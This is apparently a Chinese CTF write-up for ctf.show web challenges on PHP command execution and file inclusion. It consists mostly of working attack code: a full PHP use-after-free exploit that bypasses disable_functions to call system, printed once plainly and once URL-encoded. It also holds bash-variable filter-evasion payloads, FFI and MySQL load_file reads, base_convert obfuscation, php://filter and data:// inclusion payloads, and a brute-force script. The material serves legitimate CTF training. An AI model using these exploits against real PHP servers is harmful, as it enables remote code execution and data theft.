<?php function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();?>
URL
编码一下直接打(泻药,我已经看懵了/(ㄒoㄒ)/~~
)
POST c=function%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B
web73 无源码
POST c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit(); c=include('/flagc.txt');exit();
web74 无源码
POST c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit(); c=include('/flagx.txt');exit();
*web75 无源码
POST c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
web76 无源码
POST c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
*web77 无源码
POST c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit(); c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
web118 查看源码发现<!-- system($code);-->
,fuzz尝试之后发现只有大写字母和${}:?.~
等等字符可以通过,利用bash
内置变量进行绕过
# echo ${PWD} /root # echo ${PWD:0:1} #表示从0下标开始的第一个字符 / # echo ${PWD:~0:1} #从结尾开始往前的第一个字符 t # echo ${PWD:~0} t # echo ${PWD:~A} #所以字母和0具有同样作用 t # echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # echo ${PATH:~A} n # ${PATH:~A}l flag.txt 1 flag{test}
题目环境中应该有
${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ${PWD} /var/www/html
故可以构造出nl
POST ${PATH:~A}${PWD:~A} ????.???
web119 PATH
被ban
了,尝试构造出/bin/cat
# echo ${#} 0 # echo ${SHLVL} 1 # echo ${PWD:${#}:${SHLVL}} / # echo ${USER} www-data # echo ${PHP_VERSION} 7.3.22 # echo ${PHP_VERSION:~A} 2 # echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} at # ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.??? # 此处命令即为 /???/?at ????.???
最终payload
code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
web120 源码
<?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
缩短上题payload
长度,执行后查看源码即可
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121 源码
<?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
可以利用PWD
构造/bin/rev
# echo ${#IFS} 3 #kali中为4 # echo ${#} 0 # echo ${##} 1 # echo ${PWD} /var/www/html # echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
执行后查看源码然后反过来即可
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web122 源码
<?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
PWD
和#
都被禁用了,但是可以使用HOME
和$?
来构造出/bin/base64
$?
最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
"OS error code 1: Operation not permitted" "OS error code 2: No such file or directory" "OS error code 3: No such process" "OS error code 4: Interrupted system call" "OS error code 5: Input/output error" "OS error code 6: No such device or address" "OS error code 7: Argument list too long" "OS error code 8: Exec format error" "OS error code 9: Bad file descriptor" "OS error code 10: No child processes"
<A
会返回1
4
可以通过${RANDOM}
来构造,故可以得到payload
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
编写脚本
import base64import osimport reimport requestsurl = 'http://ba6d9714-de63-45f5-9fa8-dcf064bad709.challenge.ctf.show/' data = { 'code' :'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???' } while True : response = requests.post(url=url, data=data) if 'PD9waHA' in response.text: print (response.text) break
web124 源码
<?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
构造出getallheaders
<?php error_reporting (0 );echo base_convert ('system' , 36 , 10 );echo PHP_EOL;echo base_convert ('getallheaders' , 30 , 10 );?>
最终payload
/?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) header: 1=tac flag.php
文件包含 web78 源码
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file (__FILE__ ); }
php伪协议
/?file=php://filter/convert.base64-encode/resource=flag.php
web79 源码
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
可以使用data协议
/?file=data://text/plain,<?=system("tac fla*");?>
也可以利用php大小写绕过
POST /?file=Php://input HTTP/1.1 Host : cfa720bd-94a9-49c3-a122-6a2829e75f7f.challenge.ctf.showContent-Length : 30Pragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36Origin : http://cfa720bd-94a9-49c3-a122-6a2829e75f7f.challenge.ctf.showContent-Type : application/x-www-form-urlencodedAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer : http://cfa720bd-94a9-49c3-a122-6a2829e75f7f.challenge.ctf.show/?file=Php://inputAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : _ga=GA1.2.1002087790.1668386541Connection : close<?php system ('cat flag.php' )?>
web80 源码
<?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace ("php" , "???" , $file ); $file = str_replace ("data" , "???" , $file ); include ($file ); }else { highlight_file (__FILE__ ); }
